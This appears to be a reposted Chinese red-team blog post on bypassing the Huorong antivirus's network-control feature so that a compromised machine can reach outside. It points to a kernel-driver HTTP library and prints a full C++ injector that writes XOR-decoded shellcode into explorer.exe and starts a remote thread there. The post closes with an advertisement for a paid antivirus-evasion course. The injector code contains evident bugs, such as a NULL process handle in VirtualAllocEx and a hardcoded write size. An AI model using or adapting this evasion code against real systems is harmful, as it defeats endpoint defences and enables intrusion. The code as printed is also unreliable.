火绒杀毒联网控制ByPass
2023-2-7 23:8:10 Author: 我真不是红队啊(查看原文) 阅读量:3 收藏

前言:

在攻防演练过程中本人多次遇到防守人员应急或者研发、运维等人员安全意识较高开启火绒联网控制在阻止目标机器出网。

Bypass联网控制:

这里给出两种方案:

  1. 使用Driver进行Bypass

  2. 注入系统核心进程

使用Driver进行Bypass

这种方案实现起来较难且兼容性不高,但核心其实就是Github中一个开源库:

https://github.com/send010/KernelHttp

这个库可以让你在R0下便捷的发起HTTP请求。在配合我之前写过的一篇文章来加载驱动:

http://www.pentester.top/index.php/archives/115/

注入Windows核心程序进行Bypass:

我们注意到在联网控制的默认设置中会存在自动放行Windows核心程序

那么我们只需要去测试哪些程序被火绒认为是Windows核心程序在注入shellcode到目标程序中就可以了,代码如下:

  1. #include <windows.h>

  2. #include <tlhelp32.h>

  3. #include <iostream>

  4. using namespace std;

  5. void main(int argv,char** argc) {

  6.     PROCESSENTRY32 entry;

  7.     entry.dwSize = sizeof(PROCESSENTRY32);

  8.     HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

  9.     if (Process32First(snapshot, &entry) == TRUE)

  10.     {

  11.         while (Process32Next(snapshot, &entry) == TRUE)

  12.         {

  13.             if (stricmp(entry.szExeFile, "explorer.exe") == 0)

  14.             {

  15.                 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, true, entry.th32ProcessID);

  16.                 if (hProcess == NULL) {

  17.                     cout << "[-] 进程句柄打开失败!" << endl;

  18.                     return;

  19.                 }

  20.                 cout << "[+] 进程句柄打开成功!" << hex << hProcess << endl;

  21.                 BYTE Buffer[] = { };

  22.                 BYTE Buffer2[sizeof(Buffer)] = { 0 };

  23.                 for (int i = 0; i < sizeof(Buffer); i++) {

  24.                     int x = Buffer[i] ^ 0xd;

  25.                     Buffer2[i] = x;

  26.                     printf("%x,", Buffer2[i]);

  27.                 }

  28.                 LPVOID pBuf = VirtualAllocEx(NULL, NULL, sizeof(Buffer2), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

  29.                 if (!pBuf) {

  30.                     cout << "[-] 内存申请失败" << endl;

  31.                     CloseHandle(hProcess);

  32.                     return;

  33.                 }

  34.                 cout << "[+] 内存申请成功,Address:" << hex << pBuf << endl;

  35.                 SIZE_T dwWrite = 0;

  36.                 if (!WriteProcessMemory(hProcess, pBuf, Buffer2, 1477, &dwWrite))

  37.                 {

  38.                     cout << "[-] 内存写入失败" << endl;

  39.                     CloseHandle(hProcess);

  40.                     return;

  41.                 }

  42.                 cout << "[+] 内存写入成功" << endl;

  43.                 getchar();

  44.                 HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, NULL,

  45.                     (LPTHREAD_START_ROUTINE)pBuf, NULL, 0, 0);

  46.                 if (!hRemoteThread) {

  47.                     cout << "[-] 创建远程线程失败!" << GetLastError() << endl;

  48.                     return;

  49.                 }

  50.                 cout << "[+] 线程ID:" << hRemoteThread << endl;

  51.                 WaitForSingleObject(hRemoteThread, -1);

  52.                 CloseHandle(hRemoteThread);

  53.                 CloseHandle(hProcess);

  54.                 VirtualFreeEx(hProcess, pBuf, 0, MEM_FREE);

  55.                 CloseHandle(hProcess);

  56.             }

  57.         }

  58.     }

  59.     CloseHandle(snapshot);

  60. }

免杀入门级课程:

该课程仅适合免杀入门,有基础的请不要购买

https://edu.csdn.net/course/detail/37761


文章来源: http://mp.weixin.qq.com/s?__biz=MzUzNjg5ODkxMA==&mid=2247483992&idx=1&sn=54e5d76c42ac105e0696d8accab07a55&chksm=faee7e69cd99f77f81d74d13c3947cd51a2e8de1064d0b50c902bded0bc79cd81528ca8e16f9#rd
如有侵权请联系:admin#unsafe.sh